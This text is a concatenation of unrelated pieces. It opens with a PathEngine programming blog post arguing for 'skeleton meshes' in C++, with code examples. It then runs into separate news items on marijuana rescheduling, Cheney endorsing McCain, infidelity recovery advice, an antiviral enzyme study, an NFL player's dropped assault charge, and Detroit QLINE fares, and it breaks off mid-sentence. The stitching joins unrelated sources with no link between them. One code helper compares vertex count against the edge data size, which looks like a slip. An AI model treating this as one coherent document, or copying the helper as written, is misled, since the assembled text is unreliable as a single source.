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Dec. 29, 2016, 4 p.m. Skeleton Meshes (Break it all apart!) This post explores a slightly unusual design choice for some key data structures at PathEngine. More specifically, it's about polygon mesh data structures (in C++), and follows on from a previous post about polygon meshes 'in the style of std::vector'. One of the consequences of a vector-like approach is that mesh elements can be referenced by index, and then accessing elements by index means we can break stuff apart. It's a story of violated object oriented programming principles, broken encapsulation, and unsafe code, but the code we end up with is then more functional and a lot more fun to work with! (This is part of a series about meshes in PathEngine, as well as another series about vectors and vector based containers.) The story so far There are good reasons to prefer vector-like data structures to list-like data structures. This is covered pretty well in 'why you should never ever ever use linked list in your code again', but it mainly comes down to maximising cache utilisation. It turns out that we can 'host' a set of linked nodes in a contiguous buffer to get both vector-like performance and list-like dynamic update. And then, putting face, edge, and vertex connectivity information each into their own vector hosted list gives us a kind of 'vector mesh'. But what about the contents? The 'vector mesh' class I showed previously only includes connectivity information. But in practice you're going to want to store data for elements in a mesh (coordinates for mesh vertices, surface attributes for mesh faces, and so on). This post discusses the approach taken for this kind of mesh content data, at PathEngine, some of the reasons why I decided to go this way, and some implications of the approach. PathEngine meshes So we need to work with a bunch of different meshes, each with different associated content data. There are 'ground meshes', for example (representing actual 3D ground surfaces), and '2D meshes' (with height detail stripped out), but also a bunch of other mesh representations, corresponding to different stages of our 3D content processing pipeline. And then we have a load of generic, shared code for mesh operations, that we don't want to rewrite for each mesh. Templated containers One solution is to make our meshes into templated containers (further extending the analogy to std::vector). For example, the simple vector mesh I posted (for push_back() style construction) started off as follows: #include <vector> #include <cstdint> class cTriMesh { // {twin edge, edge vert} * 3 * number of tris std :: vector < int32_t > _edgeInfo ; // the first edge around each vertex std :: vector < int32_t > _vertFirstEdge ; //... rest of class implementation }; We can add some template parameters to this mesh class, and make this into a container, as follows: #include <vector> #include <cstdint> template < class tVData , class tEData , class tFData > class cTriMeshContainer { // {twin edge, edge vert} * 3 * number of tris std :: vector < int32_t > _edgeInfo ; // the first edge around each vertex std :: vector < int32_t > _vertFirstEdge ; // data 'contained' by the mesh elements std :: vector < tVData > _vertData ; std :: vector < tEData > _edgeData ; std :: vector < tFData > _faceData ; //... rest of class implementation }; For a dynamic vector mesh (as discussed here) the vectors would be replaced with 'vector hosted lists' (such as cVectorWithDeadEntries). And a full implementation will need to provide methods for access to the contained data, and make sure the content data is updated appropriately after any changes, but you get the general idea. For clarity, let's call this approach container meshes. An alternative approach When I first wrote PathEngine I started out with a (fairly standard) pointer based dynamic mesh data structure, and in that context the 'container meshes' approach is pretty much the only way to go. But then, as the SDK evolved to better meet customer performance requirements, these data structures got reworked as 'vector meshes'. Vector meshes use contiguous buffers internally. This means that you can access elements directly by index, and this opened up the possibility for an alternative approach. Skeleton meshes The 'trick', as far as it goes, is to leave the mesh data out of the mesh class, and have this data represented somewhere else (in a kind of 'parallel array'). So a mesh with vertex coordinates might look like this: // so this is just a tri mesh // with no template parameters for content data types cTriMesh mesh ; // and then content data is represented separately // (e.g. an array of points, with one entry per vertex) vector < cPoint > vertexPoints ; This is possible because (unlike the pointers to nodes in a traditional pointer mesh data structure) a single index can refer to both elements in the mesh itself and entries in our independent coordinate data vector. Code to access this data might then look something like this: cPointDiff EdgeAxis ( const cTriMesh & mesh , const vector < cPoint >& points , int edge ) { int vert = mesh . vert ( edge ); cPoint startP = points [ vert ]; edge = mesh . next ( edge ); vert = mesh . vert ( edge ); cPoint endP = points [ vert ]; return endP - startP ; } (I'm using the tri mesh class and interface from my previous post, but the exact details of the mesh implementation and interface are not really important.) There's a bit more to it, as we'll see later, but again, you get the idea. Let's call this approach skeleton meshes. Skeleton meshes FTW! So, soon after switching to vector meshes, I made a decision to also switch PathEngine over to skeleton meshes, even though this meant fairly sweeping changes to a whole bunch of code. All of the mesh data structures used by PathEngine are now implemented as skeleton meshes. Bad practise? Hold on a minute, are you crazy? (You might ask, at this point.) There are some good reasons why the skeleton meshes approach should be considered bad practise. We're told to prefer iterators over direct indexing, for one thing. And then skeleton meshes break encapsulation. This is anti-object-oriented, and makes mesh related code less 'safe'. But, my experience is that skeleton meshes worked out really well for us. Container meshes were a nightmare to work with, in practice. And switching to skeleton meshes solved some specific problems for us, and resulted in cleaner, more maintainable, more robust code. So there's a discrepancy between some common ideas about good ways to structure code, and my practical experiences of what actually worked best. And that's worth looking at more closely, I think. (Software architecture is important, and difficult to get right. We need heuristics to help us with this, but we should remember that these are only heuristics, and be constantly looking to refine and improve these heuristics based on our experiences, and on other people's ideas.) Let's look at how this works out, then, in some more detail.. Prefer iterators? Well look at the iterator/indexing side of things first of all (as I think this is kind of a lesser issue). So there are two main reasons, as I see it, to prefer iterators over raw indexed access. The first reason is to abstract away from concrete implementation details of the target container, and the second is related to the fact that iterators tend to be strongly typed. Abstracting away from concrete container type If I have some code that steps through a vector, and suddenly find I have to work on a linked list instead, code based on iterators will be easier to adapt than code that accesses the vector directly by index. (This is the main reason given in the top answers to this stack overflow question about why iterators should be used instead of array indices.) But in PathEngine we kind of just took the nuclear option, and went ahead and changed all of our concrete mesh implementations to support direct indexed access. We no longer have any pointer based mesh data structures, and so situations analogous to switching from vector to linked list just don't arise. Note that we still abstract away from implementation details, to some extent, by allowing for 'dead entries'. (The idea of dead entries, and a 'consolidate' operation are the basis for our vector hosted list data structure, and dynamic vector mesh implementation.) And because we know that we can always use direct indexed access, we can go ahead and take advantage of this to implement faster and/or simpler versions of mesh algorithms. Iterator types The second reason to prefer iterators is the fact that iterators tend to be strongly typed. This was actually an issue for us when migrating from our old vector mesh code to skeleton meshes. The iterators we used to access our mesh data structures before the change were typed, with this type including both the type of element being iterated over and the type of the containing mesh. So the compiler was able to catch a whole class of potential coding errors as type mismatches. Simply replacing these iterators with raw integer values would mean losing all this compile time checking, and was not acceptable. Typed indices and vectors If you look back at the EdgeAxis() function I posted above, index values are stored as simple integers, and 'edge' and 'vert' have exactly the same type. But it's easy enough to improve on this. In this previous post I already introduced some typed index classes, using a 'tag dispatch' mechanism, to avoid confusion between vertex, edge and face index values (or between these index values and other integer values). (You can find some more discussion about tag dispatch on this recent blog post, and on an associated reddit thread.) Our mesh index types are named cFace, cEdge, cVert (short names because these get used a lot). And then we also do something similar, for typed container classes. I won't go into implementation details but the key point is that have custom typed containers for storing mesh data, and we get type checking for index values, as follows: cPointDiff EdgeAxis ( const cTriMesh & mesh , const cVertData < cPoint >& points , cEdge edge ) { // ** compiler error ** //cPoint startP = points[edge]; cVert vert = mesh . vert ( edge ); // ** ok ** cPoint startP = points [ vert ]; // ** compiler error ** //edge = mesh.next(vert); // ** ok ** edge = mesh . next ( edge ); vert = mesh . vert ( edge ); cPoint endP = points [ vert ]; return endP - startP ; } Our typed mesh data containers are named cFaceData, cEdgeData, cVertData, each templated on contained element type, with interface and buffer allocation semantics similar to std::vector but with each container only indexable by the corresponding mesh index type. Index type is independent of mesh type Our index types are still independent of mesh type, and we lose that aspect of iterator type-checking. There were some quite specific cases with code that references multiple mesh structures at the same time, and with variables like 'e1', 'e2', 'candidateEdge' and so on, where the lack of clarity about exactly which mesh these referred to was a bit of a pain. But it turns out that this is a trade-off, and the possibility to use a single index value to refer to multiple meshes is actually a significant benefit in a bunch of other cases, as we will see later.. Other benefits of indexed access And then there are some other benefits of using index values instead of iterators, in particular the possibility to save and load index values directly to and from persistence. In general, I'm pretty happy with the iterators/indexing side of things, so let's move on to the other objections.. Failure to encapsulate The remaining issues essentially boil down to the fact that skeleton meshes break encapsulation (and in doing so make calling code less safe). One thing that helps illustrate this problem is the concept of class invariants. But, more generally, the issue is that changes in mesh structure are kind of naturally linked to changes in the organisation of associated mesh data. Class invariants A nice thing about object oriented programming is the possibility to encapsulate operations in a class in a way that guarantees that some kind of class invariants always remain true. Stroustrup is very keen on classes enforcing invariants. This is advice I try to follow, and something that has helped me on many occasions when debugging complex and difficult behaviours. But consider the following code, with the 'skeleton mesh' approach: void AddTri ( cTriMesh & mesh , cVertData < cPoint >& points , cFaceData < cFaceAttributes >& attributes , cPoint p1 , cPoint p2 , cPoint p3 ) { cVert v1 = points . push_back ( p1 ); cVert v2 = points . push_back ( p2 ); cVert v3 = points . push_back ( p3 ); mesh . addTri ( v1 , v2 , v3 ); //! forgot to update attributes //! to add an entry for the new face //! bad things may happen! } With an (object oriented) container mesh approach we could make it a class invariant that the size of the face attributes data vector always matches the mesh 'face size', and check and enforce this at the end of every modifying method. Other linkage between mesh and mesh data It's not just about the size of the content data vectors, though, and the objection is not just about keeping mesh and data in some measurably 'valid' state. We also need to ensure that the values (and ordering of values) in our data vectors match the corresponding mesh elements. If some code swaps the position of two faces in a mesh, for example, mesh data entries for those elements should also be swapped. With a container mesh approach, the code for swapping faces would naturally also have the responsibility of swapping the corresponding data entries. Lower level code Skeleton meshes effectively externalise the responsibility for maintaining data size invariants, making sure that mesh data matches mesh structure, and so on, and writing code to take care of this externally can feel like writing lower level code. Lower level, ..or more functional style? Actually, I think this felt like low-level programming because I come from a low level coding background. Luckily, I'm quite happy with using a lower level programming style, when it's necessary to get things done, or when this just feels like a better way to set things up, and the fact that skeleton meshes felt like a lower level coding style didn't put me off taking this approach. But since then I've also played around a bit with functional programming (in Haskell, for example), and skeleton meshes also turns out to be a much more 'functional programming style' approach to the problem. In Haskell (and other functional programming languages) encapsulating data into classes (and defining invariants) is much less of a thing, and instead it's more important to specify the exact data flow for your processes, and this is also how the skeleton meshes approach works out. Swings and roundabouts It turns out that there's something of a trade-off here, and while breaking our mesh and data apart certainly does break encapsulation, there are also a whole bunch of advantages that come out of this, in particular if you want to take more of a functional programming approach. Only reference the bits you need Consider a simple function to compute the two-dimensional extents of mesh geometry: // container mesh version cHorizontalRange GetExtents ( const cTriMeshContainer < cPoint , cEdgeData , cFaceAttributes >& mesh ); // skeleton mesh version cHorizontalRange GetExtents ( const cVertData < cPoint >& vertexPoints ); The container mesh version introduces a bunch of dependencies that aren't actually required for the task at hand. The cEdgeData and cFaceAttributes types need to be defined, for example, as well as the mesh container type, bringing in extra include files, increasing code linkage and compilation times, and so on. But we've also had to limit the function to this specific type of mesh. If we need extents for a mesh with a different edge data type, later on, we won't be able to call this function as currently defined. Instead we'll end up templating it by mesh type, or otherwise complicate the situation, even though edge data isn't relevant to the function. The GetExtents() method is kind of an extreme case, since we don't need to access the mesh data structure itself at all. In some other extreme cases, code may only need to operate on the mesh itself (ignoring content data completely), e.g.: void EraseConnectedComponents ( cDynamicMesh & mesh , cFace startF ); And then there are a bunch of situations where code operates on the (skeleton) mesh and just some of the associated data components.. More granular control of mutability As well as finer control over dependencies, breaking things apart also gives us the possibility to control how individual parts of a mesh are accessed. For example, we can see directly from this function signature that the mesh itself is not modified, only face data: // set face attributes for // a connected subset of a mesh void FillFaceAttributesTypes ( const cTriMesh & mesh , cFace startFace , cFaceAttributes fillWith , cFaceData < cFaceAttributes >& faceData ); Only test and debug the bits you need So there are various ways to specify data flow for mesh operations more clearly and this had a bunch of other important knock-on effects, apart from dependency reduction. In particular, I find minimal and more specific operations much easier to test and debug. As well as making it easier to maintain a mental overview of exactly what's going on in the code for a given operation, having more minimal and specific data flow also makes it much easier to construct repeat cases while debugging, and fits in very nicely with a functional approach to unit testing. Encapsulate processes? In the PathEngine source code, the code for each of these mesh operations (GetExtents(), EraseConnectedComponents(), FillFaceAttributesTypes() etc.) gets split off into its own C++ object file, with minimal dependencies, and a clear 'functional' interface. And then, when we reduce the amount of data passed in to these functions, or constrain the possibilities for state changes, what we're doing is making a narrower 'interface' to these processes, and making our code base more modular. You can think of this as a different kind of encapsulation, then, but where we are now encapsulating processes instead than data. (Which is more important?) Avoiding mutation The skeleton meshes approach really shines where at least some of the data involved is immutable. But I found that having the possibility to split mesh and data also resulted in my thinking differently about some of our data flow, and reworking processes so that modifications to mesh state can be restricted to one part of the mesh. Consider something like this, for example // simplifies the mesh by removing edges // where the resulting faces remain convex template < class tE , class tF > void ConnectConvexPolys ( cDynamicMesh & mesh , cVertData < cPoint >& vertData , cEdgeData < tE >& edgeData , cFaceData < tF >& faceData ); Internally, this is going to call a joinFaces() method, on the dynamic mesh, to connect two faces sharing an edge into a single face. This deletes one of the original faces, as well as the connecting edge (or the two connecting half-edges, to be precise), but never creates new mesh elements. The dynamic mesh handles entry deletion by marking entries as dead, with a subsequent call to consolidate() to remove the dead entries and reorder everything else. Assuming the mesh data entries are POD ('plain old data') types the only place where ConnectConvexPolys() actually needs to modify the data arrays is in that final consolidate operation. Pulling out the consolidate operation then enables us to rewrite the method definition as follows: // simplifies the mesh by removing edges // where the resulting faces remain convex // ** leaves dead entries // for deleted faces and edges ** void ConnectConvexPolys ( cDynamicMesh & mesh , const cVertData < cPoint >& vertData ); Restricting the possibilities for mutation like this makes me quite happy, and sometimes I'd consider taking this even further, e.g. passing in a virtual interface that specifically only allows that joinFaces() operation! Best of both worlds Avoiding mutation is great, where this is possible, but there are cases where processes just do need to modify mesh and data all together. It turns out we can kind of get the best of both worlds, then, by encapsulating our skeleton mesh classes and data together in a kind of 'container mesh wrapper', where this is necessary. The wrapper class we use for this is set up as follows: template < class tMesh , class tF , class tE , class tV > class cMeshAndData { // ** not owned, just references essentially ** tMesh * _mesh ; cFaceData < tF *> _faceData ; cEdgeData < tE >* _edgeData ; cVertData < tV >* _vertData ; //... rest of class definition //... with methods that operate on mesh and data at the same time }; There are a bunch of methods in this class, with the same names as modifying methods in our mesh classes, but with code to also update the mesh data accordingly. For example: cVert cMeshAndData :: splitEdge ( cEdge e , tV vertValue ) { cEdge twinE = _mesh -> twin ( e ); // inserts a new vertex in the middle of an edge // and returns the index of the newly created vertex cVert v = _mesh -> splitEdge ( e ); // according to expected semantics for _mesh->splitEdge() // edges before the split, on either side // should keep their original indices // with new index values assigned to edges // after the split if ( _mesh -> edgeSize () > _edgeData -> size ()) { _edgeData -> resize ( _mesh -> edgeSize ()); } ( * _edgeData )[ _mesh -> next ( e )] = ( * _edgeData )[ e ]; if ( IsValid ( twinE )) { ( * _edgeData )[ _mesh -> next ( twinE )] = ( * _edgeData )[ twinE ]; } if ( _mesh -> vertSize () > _vertData -> size ()) { _vertData -> resize ( _mesh -> vertSize ()); } ( * _vertData )[ v ] = vertValue ; return v ; } and: void cMeshAndData :: breakEdge ( cEdge e ) { cEdge twinE = _mesh -> twin ( e ); _mesh -> breakEdge ( e ); // if this breaks the mesh, // new vertices may be created if ( _mesh -> vertSize () > _vertData -> size ()) { _vertData -> resize ( _mesh -> vertSize ()); } // new verts should then be assigned to twinE // (according to expected semantics for breakEdge()) // either or both of the following assignments can then be self-assignments ( * _vertData )[ _mesh -> vert ( twinE )] = ( * _vertData )[ EndVert ( _mesh , e )]; ( * _vertData )[ EndVert ( _mesh , twinE )] = ( * _vertData )[ _mesh -> vert ( e )]; } So there's some kind of semantic linkage there, with these methods needing to know some quite specific details about the semantics of the underlying mesh operations. You could say that this makes the base mesh interface something of a leaky abstraction, but I see this a bit differently. I see this more as well defined semantics. I like the fact that exact behaviour of these underlying mesh operations is well defined, and I feel like this is beneficial for other mesh related code. I think that depending on exactly specified behaviour can make other higher level code simpler and more efficient. Data updates are not always tightly linked with corresponding mesh operations, however. Sometimes this depends on the exact data model being applied. For example, there are two ways for us to interpret a base flipEdge() operation, depending on what exactly our edge data represents: void cMeshAndData :: flipEdge_StartOfEdgeModel ( cEdge e ) { // updates edge data from new neighbours // i.e. corresponds to 'edge data at vert' model, // such as where edge data holds vertex Z cEdge twinE = _mesh -> twin ( e ); assert ( IsValid ( twinE )); _mesh -> flipEdge ( e ); ( * _edgeData )[ e ] = ( * _edgeData )[ _mesh -> next ( twinE )]; ( * _edgeData )[ twinE ] = ( * _edgeData )[ _mesh -> next ( e )]; } void cMeshAndData :: flipEdge_MidEdgeModel ( cEdge e ) { // leaves edge data as it was! _mesh -> flipEdge ( e ); } For these cases, and for different mesh construction situations, it can actually be preferable to abstract details for how mesh content should be updated away from the core mesh data structure. Encapsulation, when you want it So we get the possibility to split things apart, when that makes sense, but we can also choose to encapsulate operations on mesh and data, when we want this encapsulation, with a separate layer of code to specify how exactly mesh data should be updated after mesh changes. In some cases the extra layer provided by cMeshAndData is less natural than integrating data update into the mesh itself, but there are also cases where this can be more natural, and in practice our container meshes ended up being something of a monolithic horror, so from that point of view anything that lets us split this into separate bits of code in a reasonable way is a good thing. External 'invariant' It turns out it's not so hard to add an invariant to our mesh and data, as well, when we want this, without this having to be part of a class definition. We can get essentially the same kinds of benefits for debugging complex situations by adding something like this: template < class tMesh , class tF , class tE , class tV > bool DataSizesMatch ( const tMesh & mesh , const cFaceData < tF >& faceData , const cEdgeData < tE >& edgeData , const cVertData < tV >& vertData ) { return mesh . faceSize () == faceData . size () && mesh . edgeSize () == edgeData . size () && mesh . vertSize () == edgeData . size (); } This is harder to add everywhere where mesh or data is modified, but it's doable when you need it. And, of course, the cMeshAndData wrapper can get a more standard class invariant, as well. Other benefits There are some other advantages to the skeleton mesh approach, in our specific case. Sharing data between meshes With mesh and data as separate objects it's possible for two or more skeleton meshes to share data that would otherwise need to be replicated with each mesh. A concrete example of this a simplified version (or retriangulation) of an original mesh, built around the same set of vertex points. Sharing data in cases like this can then be a big win, for both performance and memory footprint. Avoiding templates Skeleton meshes made it possible for a lot of mesh related logic in PathEngine to be expressed through non-template code, where previously this had to be templated. Templates are great for avoiding code repetition, but come at some cost. Non-template code is just that bit easier to work with, but as well as reducing cognitive load, avoiding templates can also significantly reduce build times and executable size. Mesh specialisations Splitting the core mesh data structure out from associated content data (and content data types) made it possible for us to work with multiple specialised versions of these core mesh data structures, in a way that just would not have been manageable with the previous container mesh setup. Conclusion Breaking our container meshes apart meant breaking encapsulation, but this was definitely the right way to go for PathEngine. Encapsulation is a good thing, up to a point, but sometimes pure object oriented approaches can lead to big old monolithic classes that get difficult to work with, fast. Sometimes you need to split things apart, and make things a bit more functional! Laying data components out in parallel, with a shared indexing strategy, can be one way to do this. |
Former US Attorney General Eric Holder believes marijuana should not be considered among the most dangerous drugs on the planet, he told PBS’s Frontline. “I certainly think it ought to be rescheduled,” said Holder — referring to pot’s status as a federally illegal “schedule 1” drug, considered by authorities as more dangerous than heroin or cocaine. “You know, we treat marijuana in the same way that we treat heroin now, and that clearly is not appropriate. So at a minimum, I think Congress needs to do that. Then I think we need to look at what happens in Colorado and what happens in Washington.” Activists are disappointed Holder spent six years as America’s top prosecutor essentially acting in bad faith — sitting atop a criminal justice system that arrested about 700,000 people per year for pot. Researchers claim the Obama Administration has spent hundreds of millions of dollars raiding and imprisoning state-legal medical cannabis operators. Tom Angell, chairman of the nonprofit organization Marijuana Majority and blogger, stated: “It’s nice to have Holder’s support for this sensible policy change, but it would have been a lot better if he’d exercised the power to get marijuana rescheduling done while he was still in office.” Holder’s statements align with President Obama’s recent comments that he would probably sign marijuana law reform, if Congress sent him the bill. The White House should act, stated Angell. |
HuffingtonPost The Obama campaign gleefully sends over an announcement of a major endorsement…. for John McCain… by Dick Cheney. “In three days we’ll choose a new steward for the presidency and begin a new chapter in our history,” the Vice President said Saturday morning. “It’s the biggest decision that we make together as Americans. A lot turns on the outcome. I believe the right leader for this moment in history is Senator John McCain.” This isn’t, perhaps, the story that McCain headquarters wants in the news, though the press is undoubtedly going to play it up. Cheney is, after all, the Vice President. UPDATE: Sure enough, Obama is set to jump all over the endorsement, having some fun with it in the process. I’d like to congratulate Senator McCain on this endorsement because he really earned it. That endorsement didn’t come easy. Senator McCain had to vote 90 percent of the time with George Bush and Dick Cheney to get it. He served as Washington’s biggest cheerleader for going to war in Iraq, and supports economic policies that are no different from the last eight years. So Senator McCain worked hard to get Dick Cheney’s support. But here’s my question for you, Colorado: do you think Dick Cheney is delighted to support John McCain because he thinks John McCain’s going to bring change? Do you think John McCain and Dick Cheney have been talking about how to shake things up, and get rid of the lobbyists and the old boys club in Washington? The best news I heard all day. It couldn’t happen to a more deserving person! Update II: Cheney stars in new Obama campaign ad. Democratic presidential candidate Barack Obama highlights Vice President Dick Cheney’s support for Republican nominee John McCain in a new ad out Sunday. The ad opens by touting Obama’s recent endorsements from investor Warren Buffett and former Secretary of State Colin Powell, then cuts to video of Cheney from an event Saturday in Wyoming. The praise from Cheney, who routinely has some of the lowest approval ratings of any national political figure, came as Obama has been arguing that McCain is too closely tied to the policies of the Bush administration. Obama’s campaign said the 30-second spot would run nationally on cable channels. On the Net: http://my.barackobama.com/page/content/delighted_ad/ |
How to heal after betrayal We humans are wired such that our wellbeing depends on our connection with others. We learn to rely on those we love for a sense of safety and security. When this is breeched through a betrayal we’re thrown into a world of rejection, insecurity and shame. The betrayal of infidelity in an intimate relationship is felt through the rupture of the “we-ness”, and the lies and deception that surround it. But betrayal leaves us with a choice. We can choose to act in ways that will either enhance or hinder our personal growth; we can stay stuck in the misery or we can learn to let go of fear and anguish and move on to better days. How we choose to feel is up to us. Want to know how to heal after betrayal? Following these simple steps can help make recovering from heartbreak that little bit easier. 1. Be gentle with yourself. It sounds clichéd but being gentle with yourself through a difficult emotional time is the best way to begin the healing process. When there’s been a betrayal in a relationship it’s normal to experience an array of emotions and behaviours that can sometimes feel like the five stages of grief. It’s important to recognise your feelings and honour your needs at this time. 2. Regain faith in who you are. If your partner has cheated on you, it can bring a deep sense of shame and humiliation. You might feel as though you are to blame, you did something wrong, or that your partner’s wrongdoing somehow reflects on you personally. These feelings can impact your identity and sense of self-worth. If your partner has been unfaithful it’s important to remember that it’s not your fault. 3. Stop asking questions. No matter how much you want answers, avoid asking questions about the affair. It won’t help. In fact, hearing all the details of the deception will only create more anguish. Instead, shift your focus away from self-defeating beliefs and move towards building a stronger sense of self. This post on Letting Go of a Relationship has some simple yet effective ways to take care of yourself when you’re going through a difficult emotional time. 4. Communicate your feelings and needs. Rather than seeking information about the other person, or about the affair, have a heartfelt conversation instead. It is the unfaithful partner’s job to listen to what the betrayed partner needs without being defensive. If your partner is unable to reassure you or validate your feelings then talk to a trusted friend or family member, but make sure you don’t bottle up your feelings. 5. Plan your emotional recovery. Time in itself won’t heal the wounds; identify where you feel the most hurt, wounded or victimised and set out to heal those areas. You don’t have to go through a betrayal alone. Seeking a therapist to help you process your thoughts and feelings in a safe environment can help you make sense of your emotions and bring you a greater sense of peace. At the end of the day, how you choose to respond to the affair is up to you. Some couples will choose to use it as a growing opportunity and become more honest and accountable to themselves and their partners. Others will choose to end the relationship then and there. Whatever you decide make sure you are looking after yourself first and foremost, and seek help from a trained therapist if you need to. |
U.S. scientists led by Prof Genhong Cheng of the University of California Los Angeles have identified a natural protein with broad virus-fighting properties that could be used against deadly pathogenic viruses such as HIV, Ebola, Rift Valley Fever, Nipah and others. Their study, published in the journal Immunity, describes the novel antiviral property of cholesterol-25-hydroxylase (CH25H), an enzyme that converts cholesterol to an oxysterol called 25-hydroxycholesterol (25HC), which can permeate a cell’s wall and block a virus from getting in. “Interestingly, the CH25H enzyme is activated by interferon, an essential antiviral cell-signaling protein produced in the body,” said co-author Su-Yang Liu, a student at the Department of microbiology, immunology and molecular genetics at the UCLA’s David Geffen School of Medicine. “Antiviral genes have been hard to apply for therapeutic purposes because it is difficult to express genes in cells. CH25H, however, produces a natural, soluble oxysterol that can be synthesized and administered. Also, our initial studies showing that 25HC can inhibit HIV growth in vivo should prompt further study into membrane-modifying cholesterols that inhibit viruses.” “The discovery is particularly relevant to efforts to develop broad-spectrum antivirals against an increasing number of merging viral pathogens.” The researchers initially found that 25HC dramatically inhibited HIV in cell cultures. Next, they administered 25HC in mice implanted with human tissues and found that it significantly reduced their HIV load within seven days. The 25HC also reversed the T-cell depletion caused by HIV. By contrast, mice that had the CH25H gene knocked out were more susceptible to a mouse gammaherpes virus. The team then found that 25HC inhibited HIV entry into the cell. Furthermore, in cell cultures, it was found to inhibit the growth of other deadly viruses, such as Ebola, Nipah and the Rift Valley Fever virus. “Intriguingly, CH25H expression in cells requires interferon. While interferon has been known for more than 60 years to be a critical part of the body’s natural defense mechanism against viruses, the protein itself does not have any antiviral properties. Rather, it triggers the expression of many antiviral genes.” “While other studies have identified some antiviral genes that are activated by interferon, this research gives the first description of an interferon-induced antiviral oxysterol through the activation of the enzyme CH25H. It provides a link to how interferon can cause inhibition of viral membrane fusion,” Liu said. ______ Bibliographic information: Su-Yang Liu et al. 2012. Interferon-Inducible Cholesterol-25-Hydroxylase Broadly Inhibits Viral Entry by Production of 25-Hydroxycholesterol. Immunity, volume 38, issue 1, 92-105; doi: 10.1016/j.immuni.2012.11.005 |
Jets outside linebacker Lorenzo Mauldin on Tuesday had a misdemeanor assault charge against him dropped, according to his New York-based attorney, Alex Spiro. "As we said from the outset, Mr. Mauldin did nothing wrong, and has been cleared of all wrongdoing," Spiro told NJ Advance Media. The charge against Mauldin stemmed from an April 2 incident at New York's Highline Ballroom, where a 22-year-old man, Jean Lopez, alleged that Mauldin punched him in the face. Mauldin was charged in June. Lopez is also suing Mauldin in connection with the alleged incident. The punches allegedly happened after Lopez accidentally spilled champagne on Mauldin at the nightclub, according to the arrest report filed by the New York Police Department. "I want to thank everyone who stood behind me," Mauldin said in a statement provided by Spiro. "I was fortunate to have the resources to fight the case and clear my name when, too often, others don't. I'm glad this is behind me so I can focus on football and the future." Mauldin, 25, could still be disciplined by the NFL in connection with the incident. When Mauldin was charged, an NFL spokesman said the league was investigating the matter as part of its personal conduct policy. The NFL typically waits until after a player's legal situation has concluded before it hands out any punishment. A conviction is not required for the NFL to suspend a player. When Lopez sued Mauldin in June (shortly before he was charged), Mauldin expressed surprise about facing the lawsuit. "Of course, I was shocked," Mauldin said. "But everything that's going on right now, it's pending. We don't know what the outcome is going to be." ESPN first reported that the misdemeanor assault charge against Mauldin was dropped Tuesday. Why Jets stumbled at Bucs The Jets drafted Mauldin in Round 3 in 2015. He hasn't played all season (and won't) because he is on injured reserve with a back injury that required surgery. Mauldin was expected to compete for a starting job in 2017, and perhaps start opposite second-year pro Jordan Jenkins, as the Jets tried to get more productivity from their edge rushers. Mauldin mostly underwhelmed in his first two seasons. He had four sacks in 15 games in 2015 and 2.5 sacks in 11 games last year. He started once in 2015 and three times last year. Darryl Slater may be reached at dslater@njadvancemedia.com. Follow him on Twitter @DarrylSlater. Find NJ.com Jets on Facebook. |
CLOSE Rides on the QLINE, Detroit's streetcar system, will no longer be free beginning Sept. 5. Eric D. Lawrence, Detroit Free Press Buy Photo Sommer Woods, vice president of external affairs for M-1 Rail, which runs the QLINE, shows a reporter Friday, Aug. 25, 2017, how to buy a pass to ride the streetcar. Pay service begins Sept. 5. (Photo: Eric D. Lawrence/Detroit Free Press)Buy Photo Like a summer fling that had to end, those free rides on the QLINE are about to be a thing of the past. In about one week, the QLINE, Detroit's streetcar system, will start charging riders. The plan is to launch pay, or revenue, service when the system begins operations the day after Labor Day — 6 a.m. Tuesday, Sept. 5. To help riders with the changes, "ambassadors" will be riding each streetcar and staff will be on hand at different stations throughout the day. Sommer Woods, vice president of external affairs for M-1 Rail, the entity that operates the system, said staff has been working hard to get ready for the start of pay service. "We are (as) ready as we can be for sure in terms of doing our due diligence for testing and preparing for this day,” Woods said. The streetcar line is also preparing to roll out some new features to help riders navigate. Video screen maps at the stations are being changed to both highlight points of interest, such as the Detroit Medical Center and Little Caesars Arena, in relation to the stations, as well as give riders a view of the route that more clearly mirrors their perspective. That will show riders where things are along the route so it's easier to understand where areas like downtown are. Wording showing southbound/downtown or northbound/New Center/North End will also be added. Directional signage, which will show the way to downtown if heading south for instance, is also being added on station platform floors behind the yellow tactile strips that indicate riders should stay back from the edge. Woods said that when she is at a station, riders frequently ask her how to get downtown, so staffers have been focusing on how to lessen that confusion. She said many riders are simply unfamiliar with public transportation and are learning the basics. “We’re literally having to put in some additional things to enhance people's idea of just riding transit," she said. Read related: Ready for the QLINE? Detroit's streetcar gets ready to debut QLINE report card shows dozens of cars towed or ticketed since May QLINE free through Labor Day, thanks to Kresge Foundation QLINE spokesman Dan Lijana added that it's a learning process and that the goal is to make the riding public comfortable with using the system. Woods and Lijana provided a demonstration for a Free Press reporter Friday of the various methods to buy passes to ride the streetcar. For many riders, that will mean either $1.50 for three hours or $3 for a day pass, but additional passes are available as are discounted fares for seniors, disabled people and others. Pay machines on the streetcars will be able to accept cash payments, while credit cards, but not cash, are accepted at the station kiosks. Riders are, however, encouraged to download the QLINE app if they have a smartphone to purchase a pass there using a credit card. Users follow the prompts to select the types of passes they want, and the app provides the most pass options. The kiosks and machines will spit out an actual ticket that shows how long it can be used. Riders using the app can set up their account ahead of time and buy their tickets as they are about to ride. Instead of a paper ticket, the screen will display the amount of time remaining on the pass. Bus transfers can also be purchased when passes are bought on the streetcars. Although riders do not automatically show their tickets (or smartphone screens if they used the app) when they walk onto the streetcar, Woods said they can be asked to do so at any time while riding. If someone is found to be riding without having purchased a pass, they will be given three options — purchase a ticket on the streetcar or at the next station, get off the QLINE or receive a $150 citation, according to Lijana. The switch to pay service follows a longer than expected transition for the service, which launched May 12 on its 3.3-mile route on Woodward Avenue. QLINE rides were initially planned as free through at least the opening weekend, but that was extended into June. But after numerous complaints about lengthy wait times, the Kresge Foundation stepped in to pay for all rides through Labor Day. That extension of free rides also came with a plan to institute numerous operational changes to, among other things, improve wait times. That plan included hiring more operators and cutting out stops at stations where no one was waiting. The system released a report card late last month noting that ridership hit an average of 6,300 trips the week of July 17, which was an increase from 4,000 the week of June 12. It's still unclear how the beginning of pay service will affect ridership, but several riders last week indicated they would continue to use the system. Walter Bridges and his sister Brooke-Llyn Bridges, 15 and 16 respectively, waited for the streetcar at the Campus Martius station Thursday. They typically ride the streetcar to and from the Mack Avenue station, near their home. Walter said he comes downtown to play basketball at the hoops set up at Cadillac Square. But even though he's willing to buy a pass, he will likely stop his daily trek — aside from the occasional trip to the Nike or Under Armour stores on Woodward — once the basketball nets come down for the season. "When it's cold, I don't think I'll ride," he said. "There's 